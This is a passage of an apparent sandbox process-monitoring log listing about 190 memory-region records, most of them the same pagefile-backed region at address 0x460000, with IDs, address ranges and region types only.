"" Region: id = 12641 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12642 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12643 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12644 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12645 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12646 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12647 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12648 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12649 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12650 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12651 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12652 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12653 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12654 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12655 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12656 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12657 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12658 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12659 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12660 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12661 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12662 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12663 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12664 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12665 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12666 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12667 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12668 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12669 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12670 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12671 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12672 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12673 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12674 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12675 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12676 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12677 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12678 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12679 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12680 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12681 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12682 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12683 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12684 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12685 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12686 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12687 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12688 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12689 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12690 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12691 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12692 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12693 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12694 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12695 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12696 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12697 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12698 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12699 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 12700 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 12701 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12702 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12703 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12704 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12705 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12706 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12707 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12708 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12709 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12710 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12711 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12712 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12713 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12714 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12715 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12716 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12717 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12718 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12719 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12720 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12721 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12722 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12723 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12724 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12725 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12726 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12727 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12728 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12729 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12730 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12731 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12732 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12733 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12734 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12735 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12736 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12737 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12738 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12739 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12740 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12741 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12742 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12743 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12744 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12745 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12746 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12747 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12748 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12749 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12750 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12751 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12752 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12753 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12754 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12755 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12756 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12757 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12758 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12759 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12760 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12761 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12762 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12763 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12764 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12765 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12766 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12767 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12768 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12769 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12770 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12771 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12772 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12773 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12774 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12775 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12776 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12777 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12778 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12779 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12780 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12781 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12782 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12783 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12784 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12785 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12786 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12787 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12788 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12789 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12790 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12791 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12792 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12793 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12794 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12795 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12796 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12797 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12798 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12799 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12800 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12801 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12802 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12803 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12804 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12805 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12806 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12807 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12808 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12809 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12810 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12811 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12812 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12813 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 12814 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 12815 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12816 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12817 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12818 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12819 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12820 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12821 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12822 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12823 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12824 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12825 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12826 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12827 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12828 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 